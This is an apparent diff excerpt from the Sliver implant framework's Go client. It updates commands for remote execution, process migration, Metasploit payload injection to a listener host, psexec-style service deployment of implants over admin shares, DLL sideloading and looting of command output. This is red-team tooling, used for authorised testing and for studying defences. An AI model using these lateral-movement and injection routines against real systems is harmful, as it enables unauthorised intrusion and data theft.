output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
return
}
if exec.Response != nil && exec.Response.Async {
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, exec)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
if stdout == "" {
con.PrintInfof("Output:\n%s", string(exec.Stdout))
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+2 -2
View File
@@ -26,7 +26,7 @@ import (
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+44 -8
View File
@@ -25,14 +25,16 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -47,18 +49,26 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -70,7 +80,33 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+30 -7
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,13 +47,22 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveSession.Request(ctx),
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+49 -35
View File
@@ -21,11 +21,13 @@ package exec
import (
"context"
"fmt"
"math/rand"
"io/ioutil"
insecureRand "math/rand"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,59 +38,72 @@ import (
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
}
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := ioutil.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -96,7 +111,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -119,7 +134,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -142,7 +157,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
@@ -159,10 +174,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
b[i] = charset[insecureRand.Intn(len(charset))]
}
return string(b)
}
+40 -15
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -19,20 +22,20 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -47,17 +50,22 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
@@ -66,18 +74,35 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+34 -17
View File
@@ -4,19 +4,19 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -36,28 +36,45 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
ctrl <- true
<-ctrl
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+30 -13
View File
@@ -11,6 +11,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
@@ -19,7 +20,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
privKey []byte
err error
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -51,33 +52,49 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sshCmd.Response != nil && sshCmd.Response.Async {
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sshCmd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSSHCmd(sshCmd, con)
})
con.PrintAsyncResponse(sshCmd.Response)
} else {
PrintSSHCmd(sshCmd, con)
}
}
if commandResp.Response != nil && commandResp.Response.Err != "" {
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
if commandResp.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
// PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
}
return
}
if commandResp.StdOut != "" {
con.PrintInfof("Output:")
con.Println(commandResp.StdOut)
if commandResp.StdErr != "" {
con.PrintInfof("StdErr")
con.Println(commandResp.StdErr)
if sshCmd.StdOut != "" {
con.PrintInfof("Output:\n")
con.Println(sshCmd.StdOut)
if sshCmd.StdErr != "" {
con.PrintInfof("StdErr:\n")
con.Println(sshCmd.StdErr)
}
}
}
+23 -18
View File
@@ -1,46 +1,51 @@
Extensions
====
===========
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
```shell
/path/to/extension/folder/
├── manifest.json
├── extension.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
```json
[
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"depends_on": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
"arch": "amd64",
"path": "extension.x64.o",
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
@@ -51,7 +56,7 @@ The structure is the following one:
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
+125
View File
@@ -0,0 +1,125 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
})
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
results = append(results, manifest.CommandName)
}
}
return results
}
@@ -0,0 +1,245 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
